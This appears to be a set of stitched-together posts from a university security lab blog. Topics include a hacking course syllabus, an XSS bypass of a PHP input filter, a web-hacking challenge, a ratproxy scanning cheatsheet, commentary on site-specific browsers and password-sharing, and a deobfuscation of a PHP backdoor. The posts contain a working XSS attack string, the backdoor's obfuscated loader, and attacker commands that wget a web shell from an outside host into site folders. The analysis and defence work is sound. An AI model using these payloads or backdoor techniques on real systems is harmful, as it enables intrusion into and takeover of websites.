The instructor for the course is Nasir Memon with TA’s Dan Guido (me) and Vikram Padman. The syllabus has been finalized and the guest professors as well as their respective topics are as follows:

• Sept 4th — Introduction and CSAW, Dan Guido
• Sept 11th — Source Code Analysis, Dan Guido
• Sept 18th — Reverse Engineering, Stephen A. Ridley
• Sept 25th — Reverse Engineering, Stephen A. Ridley

• October 2nd — Overflows, Dino Dai Zovi
• October 9th — Overflows, Dino Dai Zovi
• October 16th — TAKE-HOME MIDTERM
• October 23rd — Fuzzing, Mike Zusman
• October 30th — Fuzzing, Mike Zusman

• November 6th — Client-side attacks, Dean De Beer
• November 13th — Client-side attacks, Dean De Beer
• November 20th — Web Hacking, Erik Cabetas
• November 27th — Web Hacking, Erik Cabetas

• December 4th — FINAL PROJECTS
• December 11th — hack the planet/show off projects

Students will have to complete one homework assignment every two weeks, a take-home midterm, and do a final project of their choosing. Each two week session will contain one full session of Q&A to review the homework associated with it. Extra credit will be given for participating in CSAW and UCSB iCTF.

Any questions about the course can be e-mailed to me at dguido@gmail.com.

EDIT: The course will be held in room RH227

//don't use this script!
foreach ($_COOKIE as &$cookie) {
  $cookie = trim(strip_tags(@mysqli_real_escape_string($mySQL, $cookie)));
}
foreach ($_POST as &$post) {
  if (is_array($post)) {
    foreach ($post as &$_post) {
      $_post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $_post)));
    }
  }
  else {
    $post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $post)));
  }
}

Additionally, the registration script limits sources of user controllable input by only ever using the POST and COOKIE superglobals.

This script eliminates potential SQL injections by calling mysqli_real_escape_string on all user input. The *_real_escape_string functions in PHP are the only safe way to prevent SQL injection attacks as there are ways to sneak attacks by the [deprecated] *_escape_string and addslashes functions, for example, with different character encodings.

After being processed by mysql_real_escape_string, all user input is then filtered through strip_tags, a function which one might think would prevent cross-site-scripting attacks by completely removing any HTML and PHP tags it finds. strip_tags works through many different encodings and very effectively strips tags, however, seasoned web hackers will be saying at this point “there are other ways to inject javascript without tags!” and they would be right.

The easiest way to avoid strip_tags is to inject a quote to close the current attribute, create a giant block with a new CSS style attribute, and make it evaluate javascript onmouseover. Using an example from the sla.ckers.org forum and .mario himself:

" onwhatever=alert(1) a="

This accomplishes the goal of injecting javascript into the target application without creating any additional HTML or PHP tags, and strip_tags won’t pick it up!

I asked .mario if he would be kind enough to provide us with a proof of concept that would work specifically in the context of the CSAW registration page. He did not disappoint and PM’d me the following attack string:

http://evil.hackademix.net/name.xss/***http://isis.poly.edu/csaw/register?name=”style=”a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;”onmouseover=alert(/XSS/[-1]);eval(name) a=”***content,post

*** This has been URL decoded.
*** For the original, please see http://preview.tinyurl.com/csawxss

His attack utilizes a service Giorgio Maone wrote (the name.xss part of the URL) to launch XSS attacks on websites that limit user input to parameters other than GET, as ours does. The attack works as I described above, by adding new attributes into the existing tag and creating a large CSS block that triggers javascript onmouseover. Interestingly, this complicated attack string is processed as javascript by all the major browsers including IE8, Firefox 3, Opera 9.51, and Safari 3! I was really impressed.

After verifying the PoC, I made a small addition to our filtering script to prevent this attack by adding an htmlentities function call to each iteration of the two loops. This isn’t the best solution as it escapes input more than is necessary and I didn’t have a chance to bug test it much at all. A better solution can be found in the same sla.ckers.org forum post I found the attack string in:

…the best practice is IMHO:

Input -> Validate -> Filter (CRLF, Ctrl-Chars) -> Escape -> Store -> Encode (Just the characters you need to encode) -> Output

Validation can be done via type check or regex, for filtering the ord() method does a great job, escaping is done by mysql_(real)_escape_string() and encoding is done by correctly parametrized htmlentities().

We’ll be looking into ways to rewrite our filtering script according to this advice, and also at PHP-IDS, as a way to prevent these types of issues in the future.

Thanks .mario!

EDIT 08/17/2008: I incorrectly attributed the name.xss bridge to mario. It is actually the creation of Giorgio Maone.

The link below will take you to a Web site which contains numerous vulnerabilities but is being defended by the Fortify Real-Time Analyzer (RTA). When you conduct an attack, Fortify RTA will block your efforts and redirect you to a separate page. However, if you conduct a particularly impressive attack, Fortify RTA will redirect you to a different page, with a code word. There are three code words available.

Fortify RTA had a tight lock on that website! I probably came up with a hundred separate attacks against their website, but they were only looking for a very specific 3. Every so often, I’d come up with what I thought was an impressive attack but it wouldn’t give me any points! Here’s one example:

I found an authorization problem when viewing account details that let me enumerate the database for and grab the account details of every client in the bank. I used Burp Intruder to automate harvesting this data, making over 10,000 requests to the server to gather the info. Then I manipulated client-side parameters on the ‘transfer funds’ page to steal money from other clients and deposit it into my account. This wasn’t an attack they were looking for and didn’t get me any points! Grrr..

I took screenshots of all the actual attacks below.

You had to recognize that they set an AuthType cookie when you logged in. Changing this cookie to 0 let you view and access a hidden admin panel.

Once in the admin panel, RTA triggered on a command injection vulnerability:

… and on cross-site-scripting the other admins:

The last attack was a SQL injection on the account details page:

My biggest problem was that I overthought the attacks they were looking for. Once I calmed down and stopped trying to become a millionaire/root-shell-0wner I realized they were probably looking for the basic web vuln trifecta: command injection, xss, and sqli. All in all, a really fun challenge. Thanks Fortify!

I’ve played around with ratproxy the past few days and used it to find vulnerabilities in some major websites. Here is a short cheatsheet I wrote up, an example report file and what it means, and a quick look into the source code of ratproxy.

Cheatsheet:

./ratproxy -v dumpdir -w audit1.log -d host.domain -lextifscgjm

Small set: -lfscm
Big set: -lextifscgjm
Active: -XClfscm
Everything: -XClextifscgjm

When done, run ./ratproxy-report.sh audit1.log > audit1.html

-v folder to save http traces
-w the log file
-d the domain to analyze (multiple -d’s are allowed)

-l relaxed page checksumming
-e check caching
-x XSS candidates (-X disruptive XSS checking)
-t directory traversal candidates
-i log PNG images (possible XSS in IE)
-f log all flash and pass to the decompiler
-s log all POST requests
-c log all URLs that set cookies
-g extend XSRF checks to GET (POST and COOKIE are done by default)
-j detect evil JS functions (eval, innerHTML, etc)
-m remote images/remote linking (breaks when -d is unset)

-X active testing, validate potential XSS, XSRF
-C replay requests with modified params
-k assume HTTPS must always be on, report downgrades to HTTP
-a log all visited URLs (track code coverage)

Ratproxy breaks a trend in the security community in that it isn’t written in Ruby or Python! It’s all written in C and bash. I had no problems getting it to compile on Linux, Mac, and Windows (Cygwin). Ratproxy uses an external library to decompile flash files that you have to replace with the proper one for your platform.  Note: as much as you are tempted, don’t turn on ratproxy and pump wget through it. As a friend described it, wget will only download the “scrapeface” of the website and will behave in a substantially different manner than a human would, which ratproxy depends on for a few of its checks. Also note: turning on the “-XC” options will let ratproxy make potentially harmful requests on its own. If you’re going for stealth, leave those off and stick with “-lextifscgjm” for the largest set of possible vulnerabilities.

To demonstrate some of ratproxy’s capabilities, I set it up to actively analyze the poly.edu domain:

./ratproxy -v dumps -w poly.log -d poly.edu -XClfscm

Then I set my proxy in Firefox to be localhost:8080 and went to work surfing the web (heh ratproxy will usher in a new age of legitimate excuses for security pros to slack off!). I read some news about the NYU merger, looked up athletics info, found some IT policies, and read about the BEST center. To quit, you just CTRL+C the ratproxy process and set Firefox to connect directly to the web again. The poly.log file should be filled up by now. This log file is a pipe-separated, one-issue-per-line, easy-to-grep report, but right now I just want something easy to read so lets process it into a nice html report:

./ratproxy-report.sh poly.log > poly.html

Nice! There are a whole bunch of confirmed XSS vectors right at the top! There doesn’t appear to be anything else too serious, but those are good results considering I did basically nothing for them. It looks like there are two separate pages I went to with XSS, let’s try and verify both. The first is at http://insight.poly.edu/phonebook. Let’s go grab one of RSnake’s XSS locators, put it in a field and see what happens:

Sweet! Ratproxy knows what it’s talking about. Now let’s try the calendar at http://www.poly.edu/calendar/. According to the report, it looks like the ‘view’ parameter is vulnerable. Let’s just re-use the same XSS locator since it worked so well last time.

Ratproxy is good at this. Let’s take a look at the code they’re using to “disruptively” check for XSS.

(fyi, http_request.p is a list of decoded parameters) Sticking with their “don’t be evil” mantra, no actual javascript is injected into the web application. Instead, they’re taking all the parameters they’ve already determined are echo’d back and putting in the dummy string qg:qg qg=–>qg\”qg>qg’qg>qg+qg<qg> to check for input validation/output encoding. Later down, starting at about line 440, they have what is basically a huge switch looking for how that string was returned.

My overall assessment of ratproxy is that it’s a good first-pass tool when you’ve got a nice big web app and don’t know where to start. Ratproxy will help you pick out interesting bits to focus on and identify weakly coded chunks of applications within larger websites (notice that ratproxy picked out the phonebook and calendar above, but nothing important was returned on the main Poly website). One thing in particular that I like about ratproxy are its clean and useful reports. Each report starts with a concise description of the issue, whether you can access it pre-auth, an excerpt of the http trace demonstrating the issue, and a link to the full trace. Other web application vulnerabilities scanners need to learn from this!

Keep up the good work Michal!

1. The Effectiveness of Security Training / Graphical Indicators of Security
   Joint project by Dan Guido and Boris Kochergin
2. Personalized Phishing
   Joint project by Brad Schonhorst and Jonathan Voris

I’ve made an executive decision. The mailing list that we used for the course will now be opened to the public for discussion of Social Engineering / Psychology of Security issues. I placed a link on the sidebar of this blog, please sign up if you’re interested!

His presentation makes a number of claims about the security benefits of SSBs. It lists protection against phishing, CSRF, some types of XSS (likely all non-persistent varieties), and domain whitelisting as a future improvement to harden those protections.

I don’t think [current] SSBs completely provide those security benefits unless you do two things:

1. You block non-SSBs from accessing your website (blocking on user agent string would be enough)
2. You train users that an SSB is the only acceptable place to enter their password

Without those two requirements satisfied, it is my opinion that SSBs give little security benefit.

If you still allow non-SSBs to access citibank.com, then when a user clicks an XSS’d link to citibank.com, the citibank.com page will still load, and they will still be XSS’d. Similarly, CSRF continues to function as it is likely that the ’session cookie isolation’ benefit of SSBs are negated by the user likely having duplicate cookies in both their SSB and in Firefox (you must ensure the user never logs into citibank.com with their normal browser and obtain a session cookie there, hence the first requirement).

In order for the phishing protection to be effective, users must be aware that they are only supposed to encounter Citibank content in their SSB and not in their normal browser. For instance, if an SSB user encounters a Citibank phishing website in Firefox, will they close their browser and open their SSB instead? It might be the case that users will behave in this way, but I haven’t seen any verifiable proof either way.

[This hasn't been reported on ISIS Blogs yet, but next week marks the end of our first run of "The Psychology of Security/Social Engineering", a first-run research course here at Poly. I'm writing up a research proposal to test the above hypothesis with a group of students in the Fall.]

Lastly, if a bank starts deploying SSBs to their customers, I see this as a first step towards successfully forcing client-side requirements on users where the end-game is fully trusted computing and the open commercial web starts to disappear. This actually goes back to our “Refusing Insecure Customers” debate. It’s an evolution of the same (bad, according to readers) idea.

So, although I see where SSBs have some use and can positively affect your web security, let’s not kid ourselves, they don’t solve that much. To really be effective, they require major changes in the way you do business and [still] rely on an intelligent user. Rather, they look like avoidance of the base problem and an idealistic patch that isn’t going to work.

Oddly enough, I have been using a set of 4 Prism SSBs for the last 2 weeks and have actually grown fond of them, but not for security reasons at all. I like how they show up in my dock, that they rarely crash, and it seems natural to give such webapps “first-class” status as desktop applications. I’ll probably continue using them, but I don’t think I’ve gained any security from doing so.

That said, I think part of the problem here is that SSBs haven’t fully matured yet. I just heard about these things 2 weeks ago and I haven’t heard anyone else in the security community talking about them besides Andrew. They are a topic that deserves more attention and particularly more research from the security community as they embody a lot of attractive ideas. Despite my harsh words, I’m not ready to give up on them yet.

Let’s brainstorm: how could SSBs be more useful to security? Could we change the way they work or change how they are deployed to give us additional benefits? If you’re an InfoSec student with no good topic to research, this is without a doubt a good avenue to explore.

Have you encountered a website that asks for the username and password to your e-mail provider? I’m talking about this:

LinkedIn asking for my Gmail password

Yelp asking for my Gmail password

This really needs to stop and people need to start using the Gmail Contacts Data API.

I think it’s kind of needless to say that not only is this unsafe, but it helps users become victims of phishing at some point in the future. Socializing users into giving away their passwords to arbitrary 3rd parties is not OK.

So, thanks Facebook, LinkedIn, Yelp, and others for continuing to make the Internet just that much more dangerous; now start using the Contacts API.

If you know of any other websites that still ask for your Gmail password, list them in the comments!

UPDATE: This exact same issue was highlighted in Coding Horror 2 months after my post went up.

It’s an interesting idea and I can’t disagree with the concept (<3 <3 separation of privilege) but I think it’s missing a few things. Here are some observations I made about it.

1. They acknowledge that SSB’s do nothing against malware.
2. It solves the problem of webpages bringing in resources from all over pretty nicely. Since the organization pushing the SSB knows whats on their own website they can easily publish a whitelist of allowed domains/content or even change their own site to be simpler in that regard.
3. I think this might come down to a social problem. If I’ve got one general purpose browser I use every day (IE, Firefox, Safari) and I have it open right now, what is going to convince me to close my browser and open a new app just to get to a website that I already have bookmarked? There needs to be some incentive besides security tied into the SSB to get people to perform the above action or companies need to disable functionality on their public websites.
4. I think the SSB idea is really just a crutch because people can’t implement robust security policies in a browser. Think “IE Zones” on steroids or even GreenBorder (wow when did they get bought out???).

Still, it’s kind of cool.

A member of our lab (I’ll leave it to him to take credit for this idea) suggested last week that maybe this should be taken a step further. If I know that one customer of mine is more likely to be infected with a virus (or has a higher susceptibility to phishing, pick your threat) now or in the future, is it reasonable for me to completely deny him my business?

This can be easily tested using either Dan Geer’s test or by sending my customers random phishing messages for my own business (there’s even a phishing appliance to do it for you!). Ie., Paypal sends you a phishing email for themselves (sent from another domain, self-signed certificate, graphics copied incorrectly, differently formatted e-mail, whatever) and if you fall for it, they calculate your future profitability and weigh it against the costs you’ll incur if you actually do get phished in the future. If you’ve got a negative balance after this calculation, your account will be canceled and PayPal will have saved money.

The observation was also made that this is standard practice in other industries. Insurance and, regrettably, healthcare come to mind. Would this be a bad thing for web services?

This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.

You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.

PARTIAL CODE:

** Note, the original file has everything between <?php ?> tags on one line, and everything else on another. The below code is changed for readability.

<?php

$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=3024;

eval( gzuncompress( base64_decode(
'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO
g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG
6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc
z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8
wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq
w01Zam1xo8hNAgpRWB30PQ+ATAxF8l'
)));
return;
?>

ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N
n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7
H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm
Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ
......(skipping many bytes)......
Y9yT5MATh+TOXU8==

** Complete PHP file provided per request

OBFUSCATION TECHNIQUES USED:

(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)
(b) Insertion of NOP (no operation) statements such as:
$LINE_NUM = 1;
while(–$LINE_NUM) fgets($FILE_HANDLE,1024);
(c) Use of compacting, mapping functions such as:
strtr() or gzuncompress(base64_decode(“string”));
(d) Multiple rounds of obfuscation

DEOBFUSCATION:

The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing eval() with a print gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.

<?php

$FILE_NAME=__FILE__;    // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;     // It is "1". Explanation below
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);    // reads in the first line, advances the file pointer

$CODE=
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,368),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

//eval($CODE);
return;
?>

Explanation:

__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are fgets() commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).

(2) Second round of decryption.

We need to see what the value of $CODE is in cleartext. Once again, there is a “gzuncompress(base64_decode(” instruction which is passed the value of strtr() function (not to confuse with strstr()). The strtr() functions prototype is “string strtr(string $str, string $from, string $to)”. It returns a copy of “str”, translating all occurrences of each character in “from” to the corresponding character in “to”. So we have a mapping of some sort. Now comes the complicated part.

The $str is a string of 368 bytes from the original file. But, there are 2 fgets() statements that advance the file handle before the fread() can read in the 368 bytes. The first fgets() is not executed because in “while(–$LINE_NUM) fgets($FILE_HANDLE,1024);” the value of LINE_NUM is 1. The second fgets() statement,”fgets($FILE_HANDLE,4096)” is executed – it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.

We use those 368 bytes in “gzuncompress(base64_decode(strtr(fread(“ as the value for fread(). The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an ereg_replace() call.

<?php
$FILE_NAME=__FILE__;   // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;    // It is "1".
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);

if (!function_exists('gzuncompress')) die('');

$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));

fclose($FILE_HANDLE);
//eval($CODE2);
return;
?>

(3) Third round of decryption:

We now need to figure out the value of $CODE2. The ereg_replace() prototype is “string ereg_replace (string $pattern, string $replacement, string $string)”. It scans “string” for matches to “pattern” , then replaces the matched text with “replacement”. Right away we notice that “pattern” and “replacement” are the same thing. So this is another NOP operation. Again the focus is on “gzuncompress(base64_decode(strtr(”. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don’t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!

code_version1

(4) Fourth round of deobfuscation.

We finally have some useful PHP code. But part of it is still scrambled. There is another series of “gzinflate(base64_decode(” commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more “eval(gzinflate(base64_decode(” commands in the code. A python script like this solves the problem.

code_version2

SUMMARY

So what exactly does the code do?
(a) Executes a command passed in $_POST["I1llI1"]. Could be any system command.
(b) Its mothership is “hxxp://bessearches.info/virtual/gen.php”. Queries to our exploited server, such as “GET_php_virus?/phentermine/drug-phentermine.html” are satisfied by pulling actual information from the mothership and displaying it on exploited server.

What command were run on the infected machine?
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.

ls -lidpwd
find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php
find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print
cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php

So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.

FOLLOW UP

The mothership (hxxp://bessearches.info/virtual/gen.php) is still up. Simply entering this URL spits out an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.

ADDITIONS

[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks Schmoilito)